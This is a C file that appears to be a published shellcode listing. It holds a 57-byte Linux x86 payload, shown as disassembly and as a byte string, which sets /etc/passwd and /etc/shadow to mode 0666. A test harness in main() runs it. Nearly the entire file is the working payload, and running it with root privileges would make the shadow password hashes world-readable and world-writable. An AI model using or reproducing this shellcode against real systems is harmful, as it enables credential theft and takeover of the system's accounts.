/*
Title:	Linux x86 chmod 666 /etc/passwd & /etc/shadow - 57 bytes
Author:	Jean Pascal Pereira <pereira@secbiz.de>
Web:	http://0xffe4.org


Disassembly of section .text:

08048060 <_start>:
 8048060:       31 c0                   xor    %eax,%eax
 8048062:       66 b9 b6 01             mov    $0x1b6,%cx
 8048066:       50                      push   %eax
 8048067:       68 73 73 77 64          push   $0x64777373
 804806c:       68 2f 2f 70 61          push   $0x61702f2f
 8048071:       68 2f 65 74 63          push   $0x6374652f
 8048076:       89 e3                   mov    %esp,%ebx
 8048078:       b0 0f                   mov    $0xf,%al
 804807a:       cd 80                   int    $0x80
 804807c:       31 c0                   xor    %eax,%eax
 804807e:       50                      push   %eax
 804807f:       68 61 64 6f 77          push   $0x776f6461
 8048084:       68 2f 2f 73 68          push   $0x68732f2f
 8048089:       68 2f 65 74 63          push   $0x6374652f
 804808e:       89 e3                   mov    %esp,%ebx
 8048090:       b0 0f                   mov    $0xf,%al
 8048092:       cd 80                   int    $0x80
 8048094:       31 c0                   xor    %eax,%eax
 8048096:       40                      inc    %eax
 8048097:       cd 80                   int    $0x80



*/

#include <stdio.h>

char shellcode[] = "\x31\xc0\x66\xb9\xb6\x01\x50\x68\x73\x73\x77\x64"
                   "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3"
                   "\xb0\x0f\xcd\x80\x31\xc0\x50\x68\x61\x64\x6f\x77"
                   "\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3"
                   "\xb0\x0f\xcd\x80\x31\xc0\x40\xcd\x80";


int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}